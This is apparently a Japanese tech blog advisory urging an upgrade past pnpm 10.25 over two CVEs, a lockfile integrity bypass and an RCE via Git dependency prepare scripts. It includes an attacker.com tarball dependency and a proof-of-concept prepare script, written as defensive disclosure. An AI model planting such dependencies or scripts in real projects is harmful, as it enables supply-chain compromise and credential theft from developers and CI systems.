技術 約4分で読めます

pnpm 10.26未満に深刻な脆弱性:今すぐアップデート

pnpm 10.0.0〜10.25に2件の深刻な脆弱性が見つかった。どちらもHigh評価で、特にRCE(リモートコード実行)の方はCVSS 8.8とかなり危険。

結論: 今すぐ pnpm 10.26.0 以上にアップデートすべき。

脆弱性の概要

CVE内容CVSS深刻度
CVE-2025-69263ロックファイル整合性バイパス7.5High
CVE-2025-69264リモートコード実行(RCE)8.8High

どちらも pnpm 10.26.0 で修正済み。

CVE-2025-69263: ロックファイル整合性バイパス

問題の本質

HTTP tarball依存関係やGitホスト型依存関係が、ロックファイルに整合性ハッシュなしで保存される。

通常、npmレジストリからインストールしたパッケージは pnpm-lock.yaml にハッシュが記録され、再インストール時に検証される。しかしHTTP tarballやGit依存関係ではこの検証が行われない。

# 通常のnpmパッケージ(ハッシュあり)
lodash@4.17.21:
  resolution: {integrity: sha512-...}

# HTTP tarball依存関係(ハッシュなし)
remote-pkg@http://example.com/pkg.tgz:
  resolution:
    tarball: http://example.com/pkg.tgz
  version: 1.0.0

攻撃シナリオ

  1. 攻撃者がHTTP tarball依存関係を含むパッケージを公開

    • "my-util": "https://attacker.com/util.tgz" のような依存関係
  2. セキュリティ監査時は無害なコードを返す

    • 攻撃者のサーバーはリクエストのIP、User-Agent、タイミングを見て判断
    • 監査ツールやセキュリティレビュー時は正常なコードを配信
  3. CI/CD・本番デプロイ時に悪意あるコードを返す

    • GitHub ActionsやJenkinsなどのCI環境を検出
    • 特定のIPレンジ(AWS、GCPなど)からのアクセス時のみ悪意あるコードを配信
  4. ロックファイルにハッシュがないため検証されない

    • 同じロックファイルでも、インストールのたびに異なるコードがダウンロードされる可能性

なぜ検出が難しいか

  • ロックファイルは変更されない(差分が出ない)
  • 開発者のローカル環境では正常に動作
  • CI/CD環境でのみ悪意あるコードが実行される
  • pnpm store prune でキャッシュをクリアすると再ダウンロードが発生

CVE-2025-69264: リモートコード実行(RCE)

問題の本質

pnpm v10は「デフォルトで依存関係のライフサイクルスクリプト実行を無効化」というセキュリティ機能を導入した。しかしGit依存関係はこの保護を完全にバイパスできる

技術的詳細

pnpm v10では onlyBuiltDependencies という許可リストで postinstall などのスクリプトをブロックする。

pnpm install
 └─ BUILD フェーズ
     └─ onlyBuiltDependencies をチェック ← ここで postinstall をブロック

しかしGit依存関係は別のルートで処理される。

pnpm install
 └─ FETCH フェーズ
     └─ preparePackage() を呼び出し
         └─ onlyBuiltDependencies をチェックしない
         └─ prepare, prepublish, prepack が無条件実行

つまり、v10のセキュリティ機能を信じて「スクリプトは無効だから安全」と思っていても、Git依存関係経由で任意コードを実行される。

攻撃シナリオ

  1. 攻撃者がGitリポジトリに悪意あるスクリプトを仕込む
{
  "name": "malicious-pkg",
  "scripts": {
    "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned', 'RCE')\""
  }
}
  1. 被害者のプロジェクトがこのパッケージに依存
    • 直接依存でなくても、依存の依存(transitive dependency)でも発動
{
  "dependencies": {
    "some-package": "github:attacker/malicious-pkg"
  }
}
  1. 被害者が pnpm install を実行
    • 警告なしで prepare スクリプトが実行される
    • pnpm v10のセキュリティ機能は効かない

攻撃者ができること

  • 認証情報の窃取: SSH鍵、環境変数、.envファイル、APIキー
  • ソースコードの改ざん: バックドアの挿入
  • リバースシェル: 攻撃者のサーバーに接続
  • 永続化: crontabやスタートアップスクリプトへの登録

CI/CDでの被害拡大

# GitHub Actions での典型的なワークフロー
- run: pnpm install  # ← ここで悪意あるコードが実行される

CI/CD環境では以下が盗まれる可能性がある。

  • GITHUB_TOKEN
  • AWS/GCP/Azureの認証情報
  • npm publish用のトークン
  • デプロイキー

攻撃者はこれらを使ってサプライチェーン攻撃を拡大できる。

自分のプロジェクトは大丈夫?

バージョン確認

pnpm -v

10.25以下なら影響を受ける。

依存関係の確認

package.json に以下のような依存関係があるかチェック。

// HTTP tarball(CVE-2025-69263)
"pkg": "https://example.com/pkg.tgz"

// Git shorthand(両方のCVEに該当)
"pkg": "github:user/repo"
"pkg": "gitlab:user/repo"
"pkg": "bitbucket:user/repo"

// Git URL(両方のCVEに該当)
"pkg": "git+https://github.com/user/repo.git"
"pkg": "git+ssh://git@github.com/user/repo.git"

npmレジストリのパッケージ("lodash": "^4.17.21" のような形式)のみを使っている場合、直接の被害リスクは低い。ただし依存パッケージがGit依存関係を持っている可能性があるため、アップデートは推奨。

対応方法

pnpmのアップデート

グローバルインストールの場合。

npm i -g pnpm@latest

corepackを使っている場合。

corepack use pnpm@latest

package.jsonの更新

packageManager フィールドがある場合は更新。

{
  "packageManager": "pnpm@10.26.0"
}

アップデート後の確認

pnpm -v
# 10.26.0 以上であることを確認

参考リンク